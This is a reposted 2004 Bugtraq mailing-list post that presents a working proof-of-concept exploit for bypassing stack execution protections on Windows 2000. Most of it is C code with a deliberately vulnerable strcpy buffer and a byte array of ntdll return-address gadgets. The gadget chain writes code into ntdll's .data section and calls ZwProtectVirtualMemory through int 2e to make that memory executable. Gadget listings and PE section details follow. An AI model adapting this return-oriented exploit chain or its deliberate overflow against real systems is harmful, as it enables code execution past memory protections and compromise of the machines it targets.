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Shellcode avoiding stack protections sample--------Vallez/29a

发表于2004/10/22 7:46:00  745人阅读


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From:  <vallez@gmail.com>
To:  bugtraq@securityfocus.com
Subject:  avoiding stackguard
Date:  18 Oct 2004 19:16:24 -0000

 

hi,
im posting here a manner for avoiding stackguard. Shellcode without zeros.

/***************************************************************/
/*Shellcode avoiding stack protections sample--------Vallez/29a*/
/***************************************************************/

/*
All we have listened about stack protections. Security products are protecting stacks of code executed there. New
hardware too, that will not let you to execute code in a not executable memory (amd64 for example).

Doing shellcodes avoiding this fact is not very complex, as i will show with this small sample.

The idea is to use pieces of code of dlls for example. In this code im using pieces of code of ntdll for doing my
purposes. How? Easy, with the stack overflow we will leave in the stack ret addresses for conduction our thread
to code in ntdll.dll. Exactly we are using these codes in ntdll:


-------------------------------------------------------------------------------------------

.78462FDF: AB                           stosd
.78462FE0: 5F                           pop         edi
.78462FE1: C20400                       retn        00004

-------------------------------------------------------------------------------------------

.784635EC: 8BC6                         mov         eax,esi
.784635EE: 5F                           pop         edi
.784635EF: 5E                           pop         esi
.784635F0: C3                           retn

-------------------------------------------------------------------------------------------

.7849DA92: 0FC8                         bswap       eax
.7849DA94: C3                           retn

-------------------------------------------------------------------------------------------

.784680DA: CD2E                         int         02E
.784680DC: C3                           retn

-------------------------------------------------------------------------------------------

.784AFAAD: pop eax
           retn

-------------------------------------------------------------------------------------------

.7846BBE8: pop ecx
           retn

-------------------------------------------------------------------------------------------

.784633AF: sub eax,ecx
           sar eax,1
           dec eax
           retn

-------------------------------------------------------------------------------------------

.78466b22: sub eax,ecx
           pop edi
           pop esi
           pop ebx
           retn c

-------------------------------------------------------------------------------------------

.78499442: pop edx
           retn

-------------------------------------------------------------------------------------------
*/


/*
This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with
visual studio 6.0 in debug and default options for the project. (really,only open the
.c with visual studio and F7,and yes,yes...
*/

#include <stdio.h>

#define DEBUGZ

#ifdef DEBUGZ

/*
  for debugging we have activated DEBUGZ for giving the shellcode directly to
  func(), but this shellcode could go perfectly as argv[1]

*/

char exploit[]=
{
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a',
0xad,0xfa,0x4a,0x78,//here we are overwriting ret eip func() goto pop eax/retn
0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll  eax = 0x90909090
0xe0,0x2f,0x46,0x78,//goto pop edi/retn4 
0x21,0x21,0x4b,0x78,//edi = 0x78462121
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a', //trash for retn4
0x21+4,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+8,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x90,0x90,0x90,0xcc,//this nops are part of the code that we will dump to .data of ntdll
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
//start with parameters
//now we should give execution access to .data with
//ZwVirtualProtectMemory(0xFFFFFFFF,0x784b2121,0x000000ff,0x00000040,0x784b2121+0x70);
0x21+0x30,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0xFF,0xFF,0xFF,0xFF,//parameters for ZwVirtualProtectMemory. This process, 0xFFFFFFFF.
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+0x34,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x21+0x58,0x21,0x4b,0x78,//parameters for ZwVirtualProtectMemory. addr of variable keeping addr of mem
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+0x58,0x21,0x4b,0x78,//we must write here the addr of memory that we want to do executable
0xad,0xfa,0x4a,0x78, //goto pop eax = 0x784b2121
'a','a','a','a', //trash for retn 4
0x21,0x21,0x4b,0x78, //for poping to eax
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a', //trash for edi

//the next parameter has zeros, so we cant have it in shellcode.We will get in eax=0x00000040

0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
'a','a','a','a', //trash for retn 4
0xff,0xff,0xff,0xff,
0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffffbf
0xff,0xff,0xff,0xbf,
0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
0x21+0x3c,0x21,0x4b,0x78,//other addr in .data
'a','a','a','a',
'a','a','a','a',
0x92,0xDA,0x49,0x78,//goto bswap eax,retn
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
//eax=0x00000040 edi=next addr we will write 0x40,flags
0x21+0x54,0x21,0x4b,0x78,//other addr in .data
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a',
0x21+0x40,0x21,0x4b,0x78,//next part of ntdll .data where we will write params
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x21+0x50,0x21,0x4b,0x78,//old protect returned as IO param in ZwVirtualProtectMemory
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+0x38,0x21,0x4b,0x78,//other part to write,in this case the addr of the variable storing size for api
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x21+0x54,0x21,0x4b,0x78,//addr where size is stored,poped with pop eax
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a',//trash for poping to edi

//now we must call int 2e with eax=0x77 and edx=0x784b2151

0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
'a','a','a','a', //trash
0xff,0xff,0xff,0xff,
0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffff88
0xff,0xff,0xff,0x88,
0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0x42,0x94,0x49,0x78,//goto pop edx,retn
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0x21+0x30,0x21,0x4b,0x78, //pop to edx address of params for ZwVirtualProtectMemory
0x92,0xDA,0x49,0x78,//goto bswap eax,retn
//eax=0x77(service id) edx->params
0xDA,0x80,0x46,0x78, //goto int 2e,retn

0x21,0x21,0x4b,0x78, //we have copied all the code that we need,so we jump that code in .data of ntdll.


};
char * pexploit[2] = {exploit,exploit};
#endif

void func(int argc,char ** argv)
{
    char buffer[30];

    if(argc>1)
    {
        strcpy(buffer,argv[1]);
    }
}

void main(int argc,char ** argv)
{

#ifndef DEBUGZ
    func(argc,argv);
#else
    func(argc,pexploit);
#endif
}

/*
 
 This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
 Its only a Proof of concept about how shellcodes could avoid stack protections.

 This shellcode is not executed in the stack, however it has in the stack the useful values for
 conducting the thread to ntdll code and forcing this code to write executable code to
 ntdll .data section. If today not, in the future all not executable memory will be protected
 against execution, so we call ZwProtectVirtualMemory for setting .data zone where we have writed
 as executable (for this purpose we will dump parameters of the api to .data,in other part,
 and then pointing edx to that parameters and calling int 2e with eax=0x77,the service id.
*/

/*

Parts of ntdll:

-------------------------------------------------------------------------------------------

.78462FDF: AB                           stosd
.78462FE0: 5F                           pop         edi
.78462FE1: C20400                       retn        00004

-------------------------------------------------------------------------------------------

.784635EC: 8BC6                         mov         eax,esi
.784635EE: 5F                           pop         edi
.784635EF: 5E                           pop         esi
.784635F0: C3                           retn

-------------------------------------------------------------------------------------------

.7849DA92: 0FC8                         bswap       eax
.7849DA94: C3                           retn

-------------------------------------------------------------------------------------------

.784680DA: CD2E                         int         02E
.784680DC: C3                           retn

-------------------------------------------------------------------------------------------

.784AFAAD: pop eax
           retn

-------------------------------------------------------------------------------------------

.7846BBE8: pop ecx
           retn

-------------------------------------------------------------------------------------------

.784633AF: sub eax,ecx
           sar eax,1
           dec eax
           retn

-------------------------------------------------------------------------------------------

.78466b22: sub eax,ecx
           pop edi
           pop esi
           pop ebx
           retn c

-------------------------------------------------------------------------------------------

.78499442: pop edx
           retn

-------------------------------------------------------------------------------------------

.data(ntdll.dll) 784b0000 --- For copying the code there.

  Number Name    VirtSize   RVA    PhysSize  Offset    Flag-
     1  .text    00045CAB 00001000 00045E00 00000400 60000020
     2  ECODE    00004371 00047000 00004400 00046200 60000020
     3  PAGE     00003FEB 0004C000 00004000 0004A600 60000020
     4  .data    00002D84 00050000 00002200 0004E600 C0000040
     5  .rsrc    0002D000 00053000 0002C400 00050800 40000040
     6  .reloc   00002010 00080000 00002200 0007CC00 42000040

-------------------------------------------------------------------------------------------

Info of my ntdll:
----------------

Version: 5.0.2195.6899
 
 Count of sections              6 ?Machine                intel386
 Symbol table  00000000[00000000] ?       Wed Mar 24 03:17:14 2004
 Size of optional header     00E0 ?Magic optional header      010B
 Linker version              5.12 ?OS version                 5.00
 Image version               5.00 ?Subsystem version          4.00
 Entry point             00000000 ?Size of code           0004E200
 Size of init data       00030800 ?Size of uninit data    00000000
 Size of image           00083000 ?Size of header         00000400
 Base of code            00001000 ?Base of data           0004E000
 Image base              78460000 ?Subsystem          Windows char
 Section alignment       00001000 ?File alignment         00000200
 Stack          00040000/00001000 ?Heap          00100000/00001000
 Checksum                00082A23 ?Number of directories        16

*/

 

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